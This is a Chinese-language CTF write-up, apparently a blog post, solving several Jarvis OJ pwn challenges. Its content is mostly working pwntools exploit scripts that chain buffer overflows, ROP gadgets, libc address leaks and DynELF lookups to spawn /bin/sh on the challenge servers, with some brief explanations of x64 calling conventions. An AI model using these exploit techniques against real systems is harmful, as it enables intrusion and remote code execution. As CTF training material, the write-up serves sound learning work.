write_add = p32(code.plt['write'])
print hex(code.plt['write'])
pop3ret = p32(0x08048519)#pop pop pop ret
argv = p32(1) + p32(0x804a00c) + p32(4)#use got address  there is a real physical address
payload = padding_rbp + write_add + pop3ret + argv + vuladdr#back to vuladdr function try to use flow twice
sh.recvuntil('Input:\n')
sh.send(payload)
time.sleep(0.2)
read_addr = u32(sh.recv(4))
print hex(read_addr)
base_addr = read_addr - read_offset
system_addr = base_addr + system_offset
argv = p32(0) + p32(basebss) + p32(100)
payload = padding_rbp + p32(read_addr) + pop3ret + argv + p32(system_addr) + 'a'*4 +p32(basebss)
sh.send(payload)
sh.send('/bin/sh\x00')
sh.interactive()

0x06 [XMAN]level4

本题无 libc 环境,考察pwntools库 DynELF 的使用 这里有个链接
利用write函数将内存泄露出来,通过DynELF查询system地址
直接看代码

from pwn import *
sh = remote('pwn2.jarvisoj.com', 9880) 
level4 = ELF('level4')
write_addr = p32(level4.plt['write'])
read_addr = p32(level4.plt['read'])
main_addr = p32(level4.symbols['main'])
basebss = p32(level4.bss())
padding_rbp = 'a'*(0x88+4)
pop3ret = p32(0x08048509)

def leak(address):#泄露地址的函数
    payload = padding_rbp + write_addr + pop3ret + p32(1) + p32(address) + p32(4) + main_addr#注意这里要能够循环执行,将main函数放在这里
    sh.send(payload) 
    data = sh.recv(4)
    print "%#x %s" % (address,data)
    return data

d = DynELF(leak,elf=ELF('level4'))
system_addr = d.lookup('system','libc')#在泄露的内存中查找system
log.success('leak system address: ' + hex(system_addr))#找到之后和以前操作一样
payload = padding_rbp + read_addr + pop3ret + p32(0) + basebss + p32(10) + p32(system_addr) + 'a'*4 + basebss
sh.send(payload)
sh.send('/bin/sh\x00')
sh.interactive()

0x07 [XMAN]level3(x64)

本题和level三代码相同,只是在64位操作系统下,传参方式不同
下面普及一下姿势

rop
首先 read() 函数存在缓冲区溢出漏洞
这个程序是 : 64 位程序 , 函数调用时参数并不是像 32 位程序那样全部存放在栈中
而是这样 :
如果函数的参数数量小于 6 , 则从左至右依次存放在寄存器 :
rdi, rsi, rdx, rcx, r8, r9
如果大于 6 , 那么多出来的参数按照从右至左的顺序依次压栈
x64的栈帧在返回地址额下面

这里有个链接 里面有图解

下面就是正常的思路,利用write函数将got表中的read函数物理地址打印出来,计算基址,从而知道了system物理地址,然后利用read函数讲/bin/sh写入内存再读取

strings -a -t x libc-2.19.so | grep “/bin/sh”
readelf -a libc-2.19.so | grep ” system@”
readelf -a libc-2.19.so | grep ” read@”

发现里面有/bin/sh

将上述逻辑写成代码

from pwn import *

level3_x64 = ELF('level3_x64')
libc = ELF('libc-2.19.so')

#plt addr
write_addr = p64(level3_x64.plt['write'])
read_addr = level3_x64.plt['read']
main = p64(level3_x64.symbols['main'])

#read & system function offset 
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binbash = 0x17c8c3
# read s got address 
read_got = p64(0x600A60)


# rop
pop_edi = p64(0x4006b3)# pop ret
pop_esi = p64(0x4006b1) #pop pop ret

#payload leak read physical address
padding_rbp = 'a'*(0x80+8)
payload = padding_rbp + pop_edi + p64(1) + pop_esi + read_got + 'a'*8 + write_addr + main
sh = remote("pwn2.jarvisoj.com", 9883)
sh.recvuntil('Input:\n')
sh.send(payload)

data = u64(sh.recv(8))
print hex(data)
#real address 
system_addr = data - read_offset + system_offset
binbash_addr = data - read_offset + binbash

# exec system /bin/sh
payload = padding_rbp + pop_edi + p64(binbash_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()

有个疑惑为什么process进程就不行呢

0x08 Tell Me Something

这题很简单看见了里面的good_game函数
直接执行此函数即可

from pwn import *
sh = remote('pwn.jarvisoj.com', 9876)
padding = 'a'*0x88
good_game = p64(0x400620)
payload = padding + good_game
sh.send(payload)
sh.interactive()

0x09 smashes

这题看的也是一知半解,感觉没有学到什么东西,但至少了解了canary 机制
问题一 怎么计算缓冲区长度的
问题二 怎么将pwntools与gdb联系起来

这里推荐一篇博客
缓冲区长度计算的博客

from pwn import *
context.log_level = 'debug'
cn = remote('pwn.jarvisoj.com', 9877)
# cn = process('smashes')
cn.recv()
cn.sendline(p64(0x0400d20)*300)
cn.recv()
cn.sendline()
cn.recv()

你可能感兴趣的:(write-up)